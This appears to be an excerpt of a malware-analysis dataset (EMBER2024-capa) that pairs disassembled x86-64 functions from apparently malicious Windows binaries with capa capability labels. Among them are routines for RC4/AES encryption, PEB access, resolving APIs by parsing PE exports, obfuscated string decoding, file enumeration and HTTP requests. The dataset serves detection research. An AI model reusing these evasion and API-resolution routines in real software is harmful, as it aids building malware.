joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443540
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4436aa
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x443558
cmp edx, ecx
jne 0x443698
nop dword [rax]
test rsi, rsi
jne 0x443698
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x4435b4
nop
call fcn.004622c0
xorps xmm15, xmm15
mov r14, qword [0x00639dc8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00443440
mov rcx, qword [0x005e6588]
mov rdx, qword [0x005e6580]
mov rbx, qword [rsp + 0x28]
mov esi, dword [rbx]
mov edi, esi
sar esi, 0x1f
shr esi, 0x1b
add esi, edi
mov r8d, esi
and esi, 0xffffffe0
sub edi, esi
test edi, edi
jl 0x443693
cmp edi, 0x20
sbb esi, esi
sar r8d, 5
mov rax, rcx
mov ecx, edi
mov r9d, 1
shl r9d, cl
and r9d, esi
movsxd rsi, r8d
cmp rax, rsi
jbe 0x443688
lea rcx, [rdx + rsi*4]
lock or dword [rcx], r9d
mov rcx, qword [0x005e7070]
mov qword [rbx + 8], rcx
nop
mov rcx, rbx
mov qword [0x005e7070], rbx
nop
mov edx, 1
lea rsi, [0x005e7078]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1220]
shr rdx, 0x3d
test dl, dl
jne 0x443677
nop
nop
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
xchg qword [rcx + 0x1220], rdx
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
lea rax, [0x00511725]
mov ebx, 0x28
call fcn.00434d80
mov rcx, rax
mov rax, rsi
call fcn.004608c0
call fcn.004333a0
lea rax, [0x00510926]
mov ebx, 0x23
call fcn.00434d80
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e260
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00443540
Function at 0x44ed20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44ee98
movzx edx, byte [rax]
nop
test edx, edx
jne 0x44ed5c
test r8b, r8b
jne 0x44ed5c
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
bt edx, 7
jae 0x44ed6f
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44ee58
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
cmp rbx, r8
jb 0x44ee46
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rcx
sar rcx, 0x3f
and r8, rcx
lea rsi, [rax + r8]
test rbx, rbx
jbe 0x44ee3c
movzx r8d, byte [rax + r8]
bt r8d, 7
jae 0x44edc3
xor eax, eax
xor ecx, ecx
xor r8d, r8d
jmp 0x44ee06
mov eax, 1
cmp rax, rbx
ja 0x44edf5
add qword [rdi], r8
sub rdx, rax
sub rbx, rax
mov rcx, rdx
neg rdx
sar rdx, 0x3f
and rax, rdx
add rax, rsi
mov edi, 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rbx
call fcn.00460980
lea r8d, [rcx + 7]
mov ecx, eax
mov eax, r10d
cmp rax, rbx
jae 0x44ee34
movzx r9d, byte [rax + rsi]
lea r10d, [rax + 1]
mov r11d, r9d
and r9d, 0x7f
mov eax, ecx
mov ecx, r8d
shl r9d, cl
or eax, r9d
test r11b, 0x80
jne 0x44edfd
mov r8d, eax
mov eax, r10d
jmp 0x44edc8
mov rcx, rbx
call fcn.004608c0
xor eax, eax
mov rcx, rax
call fcn.004608c0
mov eax, r8d
mov rcx, rbx
call fcn.00460980
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44ee8e
movzx r10d, byte [rdx + rax]
inc edx
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
or r8d, r10d
test r11b, 0x80
jne 0x44ee51
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44ed75
mov eax, edx
mov rcx, rbx
call fcn.004608c0
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.004608c0
nop
int3
Function at 0x456580
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x456639
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x00456680]
mov qword [rsp + 0x10], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x28], rdx
mov rdx, r14
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045e120
xorps xmm15, xmm15
mov r14, qword [0x00639dc8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045e260
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00456580
Function at 0x460300
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x402e8f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00409520
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045e260
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402e60
cmp byte [0x00639baf], 0
je 0x460315
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45d360
jmp 0x402e60

Function at 0x460320
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00639f00]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x00639baf], 0
je 0x460355
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x0063a240]
aesenc xmm0, xmmword [0x0063a250]
aesenc xmm0, xmmword [0x0063a260]
movq rax, xmm0
ret
jmp 0x409720

Function at 0x460360
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x00639f00]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x00639baf], 0
je 0x460396
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x0063a240]
aesenc xmm0, xmmword [0x0063a250]
aesenc xmm0, xmmword [0x0063a260]
movq rax, xmm0
ret
jmp 0x409780

Function at 0x461de0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x0063a1c0]
mov qword [rsp + 8], rdx
lea r8d, [0x00639bd0]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.00460240
add rsp, 0x30
ret

Function at 0x462320
Capabilities:
Allocate thread local storage

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x46234c
call fcn.00460240
shl rcx, 3
add rcx, 0x1480
mov qword [0x00639dc8], rcx
ret
Function at 0x4a85e0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov edx, dword [rax]
xor esi, esi
jmp 0x4a85fa
movzx edi, byte [rbx + rsi]
inc rsi
xor edx, edi
imul edx, edx, 0x1000193
cmp rcx, rsi
jg 0x4a85eb
mov dword [rax], edx
mov rax, rcx
xor ebx, ebx
xor ecx, ecx
ret

Function at 0x4b8920
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movd xmm0, dword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movdqu xmm1, xmmword [rsi]
movdqu xmm2, xmmword [rsi + 0x10]
movdqu xmm3, xmmword [rsi + 0x20]
movdqu xmm4, xmmword [rsi + 0x30]
pxor xmm1, xmm0
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jb 0x4b89f5
movdqa xmm0, xmmword [0x00539900]
movdqa xmm5, xmm1
movdqa xmm6, xmm2
movdqa xmm7, xmm3
movdqa xmm8, xmm4
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm2, xmm0, 0
pclmulqdq xmm3, xmm0, 0
pclmulqdq xmm4, xmm0, 0
movdqu xmm11, xmmword [rsi]
movdqu xmm12, xmmword [rsi + 0x10]
movdqu xmm13, xmmword [rsi + 0x20]
movdqu xmm14, xmmword [rsi + 0x30]
pclmulqdq xmm5, xmm0, 0x11
pclmulqdq xmm6, xmm0, 0x11
pclmulqdq xmm7, xmm0, 0x11
pclmulqdq xmm8, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
pxor xmm1, xmm11
pxor xmm2, xmm12
pxor xmm3, xmm13
pxor xmm4, xmm14
add rdi, 0x40
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jge 0x4b8961
movdqa xmm0, xmmword [0x00539910]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm2
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm3
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm4
cmp rcx, 0x10
jb 0x4b8a77
movdqu xmm10, xmmword [rsi]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm10
sub rcx, 0x10
add rsi, 0x10
cmp rcx, 0x10
jge 0x4b8a4b
pcmpeqb xmm3, xmm3
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm2, xmm1
movq xmm0, qword [0x00539650]
psrlq xmm3, 0x20
psrldq xmm2, 4
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
movdqa xmm0, xmmword [0x00539cf0]
movdqa xmm2, xmm1
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0x10
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
mov dword [rsp + 0x28], eax
ret
Function at 0x1400015b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0
jmp 0x140001662
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x1400016bc
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.140001170
test eax, eax
jne 0x1400016ba
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
jmp 0x1400016be
jmp 0x140001658
xor eax, eax
add rsp, 0x68
ret

Function at 0x1400020e0
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get program files directory

Disassembly:
sub rsp, 0x38
lea r9, [rsp + 0x20]
xor r8d, r8d
mov edx, 0x8000
lea rcx, [0x140011380]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
je 0x140002106
xor eax, eax
jmp 0x140002185
lea rdx, [0x140020c20]
mov rcx, qword [rsp + 0x20]
call fcn.140001a10
xor r9d, r9d
mov r8d, 0x26
lea rdx, [0x14001f4f0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x140002137
xor eax, eax
jmp 0x140002185
lea rdx, [0x14001f4f0]
lea rcx, [0x140020ae0]
call fcn.1400011e0
mov edx, 0x26
lea rcx, [0x14001ddb0]
call fcn.1400014c0
mov rdx, rax
lea rcx, [0x140020ae0]
call fcn.140001250
lea rcx, [0x140020ae0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140002180
xor eax, eax
jmp 0x140002185
mov eax, 1
add rsp, 0x38
ret
Function at 0x1400029b0
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
sub rsp, 0x2a8
mov dword [0x140020be4], 0
lea rdx, [0x140020c20]
lea rcx, [rsp + 0x50]
call fcn.1400011e0
mov edx, 0x1d
lea rcx, [0x14001d698]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x40], rax
lea rdx, [0x140020c20]
lea rcx, [rsp + 0x50]
call fcn.1400011e0
mov edx, 0x4d
lea rcx, [0x14001de50]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140002aa1
mov edx, 8
lea rcx, [0x14001da98]
call fcn.1400014c0
mov qword [rsp + 0x28], rax
movsxd rax, dword [0x140020be4]
imul rax, rax, 0x104
lea rcx, [0x14001f600]
add rcx, rax
mov qword [rsp + 0x30], rcx
mov eax, dword [0x140020be4]
inc eax
mov dword [0x140020be4], eax
mov eax, dword [0x140020be4]
mov dword [rsp + 0x20], eax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call fcn.1400011e0
mov edx, 9
lea rcx, str._r_2_418
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x18c]
call fcn.1400012f0
test rax, rax
je 0x140002b77
lea rdx, [0x140020c20]
lea rcx, [rsp + 0x50]
call fcn.1400011e0
mov edx, 0x1a
lea rcx, [0x14001dcd0]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
lea rdx, [rsp + 0x18c]
lea rcx, [rsp + 0x50]
call fcn.140001250
mov edx, 0x2d
lea rcx, [0x14001d6d8]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140002b77
movsxd rax, dword [0x140020be4]
imul rax, rax, 0x104
lea rcx, [0x14001f600]
add rcx, rax
mov qword [rsp + 0x38], rcx
mov eax, dword [0x140020be4]
inc eax
mov dword [0x140020be4], eax
lea rdx, [rsp + 0x18c]
mov rcx, qword [rsp + 0x38]
call fcn.1400011e0
lea rdx, [rsp + 0x160]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140002aa1
mov eax, dword [0x140020be4]
add rsp, 0x2a8
ret
Function at 0x140002ba0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x278
mov edx, 0xe
lea rcx, [0x14001dec8]
call fcn.1400014c0
mov qword [rsp + 0x38], rax
mov rax, qword [0x14001f4d0]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400015b0
mov qword [0x14001f5f8], rax
mov dword [rsp + 0x30], 0
jmp 0x140002bf3
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [0x140020be4]
cmp dword [rsp + 0x30], eax
jge 0x140002cdc
mov edx, 0x17
lea rcx, str.pp__2_418p94_8__2___
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1400011e0
movsxd rax, dword [rsp + 0x30]
imul rax, rax, 0x104
lea rcx, [0x14001f600]
add rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
mov edx, 0x29
lea rcx, [0x14001dc20]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
lea rdx, [0x140020d30]
lea rcx, [rsp + 0x50]
call fcn.140001250
mov edx, 0x1e
lea rcx, [0x14001dd38]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140001250
mov rax, qword [0x14001f5f8]
mov qword [rsp + 0x48], rax
mov edx, 5
lea rcx, str.2_83
call fcn.1400014c0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
lea r8, [0x140020ae0]
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x48]
jmp 0x140002be9
mov dword [rsp + 0x34], 0
jmp 0x140002cf0
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, dword [0x140020be4]
cmp dword [rsp + 0x34], eax
jge 0x140002dad
lea rdx, [0x140020c20]
lea rcx, [rsp + 0x160]
call fcn.1400011e0
mov edx, 0x1a
lea rcx, [0x14001d998]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.140001250
movsxd rax, dword [rsp + 0x34]
imul rax, rax, 0x104
lea rcx, [0x14001f600]
add rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.140001250
mov edx, 0x3c
lea rcx, [0x14001da28]
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.140001250
xor eax, eax
cmp eax, 1
je 0x140002da8
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140002d9b
jmp 0x140002da8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002d7f
jmp 0x140002ce6
add rsp, 0x278
ret
Function at 0x140002dc0
Capabilities:
Create http request

Disassembly:
sub rsp, 0x88
mov edx, 0x1f
lea rcx, str.5___.grrss_5_202_.8s2_:r
call fcn.1400014c0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400011e0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140002e58
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x140002e70
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
add rsp, 0x88
ret
Function at 0x140002e80
Capabilities:
Accept command line arguments

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov r8d, 0x3c
xor edx, edx
lea rcx, [0x140020a60]
call fcn.1400013e0
mov dword [rsp + 0x30], 0
jmp 0x140002ec3
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xf
jge 0x140002ee9
mov edx, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
movsxd rcx, dword [rsp + 0x30]
lea rdx, [0x140020a60]
mov qword [rdx + rcx*8], rax
jmp 0x140002eb9
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa0], rax
mov edx, 9
lea rcx, [0x14001dbf0]
call fcn.1400014c0
mov rdx, rax
mov rcx, qword [rsp + 0xa0]
call fcn.1400012f0
test rax, rax
je 0x140002f34
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x5f5e100
call fcn.140006b50
jmp 0x140002f3b
xor eax, eax
jmp 0x140003120
call fcn.140002dc0
test eax, eax
jne 0x140002f4b
xor eax, eax
jmp 0x140003120
mov ecx, 0x5f5e100
call fcn.140006b50
call fcn.1400016d0
xor eax, eax
test eax, eax
je 0x140002f82
mov edx, 3
lea rcx, [0x14001d994]
call fcn.1400014c0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0xd
lea rcx, [0x14001da68]
call fcn.1400014c0
mov qword [rsp + 0x38], rax
mov rax, qword [0x140020a50]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400015b0
mov qword [0x140020e38], rax
mov rax, qword [0x140020e38]
mov qword [rsp + 0x48], rax
mov edx, 0xd
lea rcx, [0x14001da18]
call fcn.1400014c0
mov rcx, rax
call qword [rsp + 0x48]
mov qword [0x140020bf0], rax
call fcn.1400020e0
test eax, eax
jne 0x140002ff5
xor eax, eax
jmp 0x140003120
call fcn.1400029b0
test eax, eax
jne 0x140003005
xor eax, eax
jmp 0x140003120
mov edx, 0xe
lea rcx, [0x14001df28]
call fcn.1400014c0
mov qword [rsp + 0x50], rax
mov rax, qword [0x14001f4d0]
mov qword [rsp + 0x58], rax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call fcn.1400015b0
mov qword [0x14001f5f8], rax
call fcn.140002190
mov rax, qword [0x14001f5f8]
mov qword [rsp + 0x70], rax
mov edx, 0x2a
lea rcx, str.5___grr92312_91_9_816s.___8r81_208s_5_
call fcn.1400014c0
mov qword [rsp + 0x60], rax
mov edx, 5
lea rcx, [0x14001da78]
call fcn.1400014c0
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x60]
lea r8, [0x140020ae0]
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [rsp + 0x70]
call fcn.140001c70
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400026b0
mov edx, 0x10
lea rcx, [0x14001d818]
call fcn.1400014c0
lea rdx, [rsp + 0x34]
mov rcx, rax
call fcn.140001ac0
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002ba0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400028e0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x16
lea rcx, str.rer
call fcn.1400014c0
lea rdx, [rsp + 0x34]
mov rcx, rax
call fcn.140001ac0
xor eax, eax
add rsp, 0x88
ret

Function at 0x140007778
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007568
Function at 0x14000a828
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000a858
xor eax, eax
jmp 0x14000a91b
mov rbp, rbx
cmp word [rax], si
je 0x14000a87d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000a864
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000a860
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000a778
movsxd r14, eax
test eax, eax
jne 0x14000a8bb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000a851
mov rcx, r14
call fcn.14000814c
mov rdi, rax
test rax, rax
jne 0x14000a8d4
xor ecx, ecx
call fcn.140008de0
jmp 0x14000a8b0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000a778
test eax, eax
jne 0x14000a905
mov rcx, rdi
call fcn.140008de0
jmp 0x14000a90f
xor ecx, ecx
call fcn.140008de0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret